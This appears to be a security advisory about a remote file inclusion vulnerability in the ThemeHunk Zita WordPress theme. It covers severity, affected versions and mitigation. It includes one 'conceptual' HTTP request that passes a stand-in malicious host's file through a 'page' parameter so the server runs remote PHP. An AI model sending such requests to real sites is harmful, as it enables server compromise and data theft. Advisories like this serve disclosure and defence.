Overview
CVE-2025-52816 is a critical cybersecurity vulnerability that affects the ThemeHunk Zita theme for WordPress websites. It involves an Improper Control of Filename for Include/Require Statement in PHP Program, often referred to as ‘PHP Remote File Inclusion’. The vulnerability can lead to potential system compromise or data leakage, making it a significant concern for website owners and developers who utilize the Zita theme. Given the vast number of WordPress websites on the internet today, this vulnerability could have widespread implications if not addressed promptly.
Vulnerability Summary
CVE ID: CVE-2025-52816
Severity: High – 8.1 (CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
ThemeHunk Zita | Versions prior to 1.6.5
How the Exploit Works
This vulnerability exists due to an improper control of filename for Include/Require Statement in the PHP program of the ThemeHunk Zita theme. An attacker can exploit this vulnerability by sending a specially-crafted request to the website running on the vulnerable theme. The attacker can include a reference to a remote file that contains malicious PHP code. When processed by the server, this code will be executed, potentially leading to system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. Note that this is a conceptual code and may not work as is.
GET /index.php?page=http://malicious-website.com/malicious-code.txt HTTP/1.1
Host: vulnerable-website.comIn this example, the attacker is exploiting the ‘page’ parameter to include a remote file (malicious-code.txt) hosted on a malicious website. When this request is processed by the server, the malicious PHP code within the included file will be executed.
Mitigation Guidance
Users of the ThemeHunk Zita theme are strongly advised to update to the latest version to address this vulnerability. If this is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to block requests that attempt to exploit this vulnerability. However, these are only temporary solutions and upgrading to the patched version is the recommended course of action to fully mitigate this vulnerability.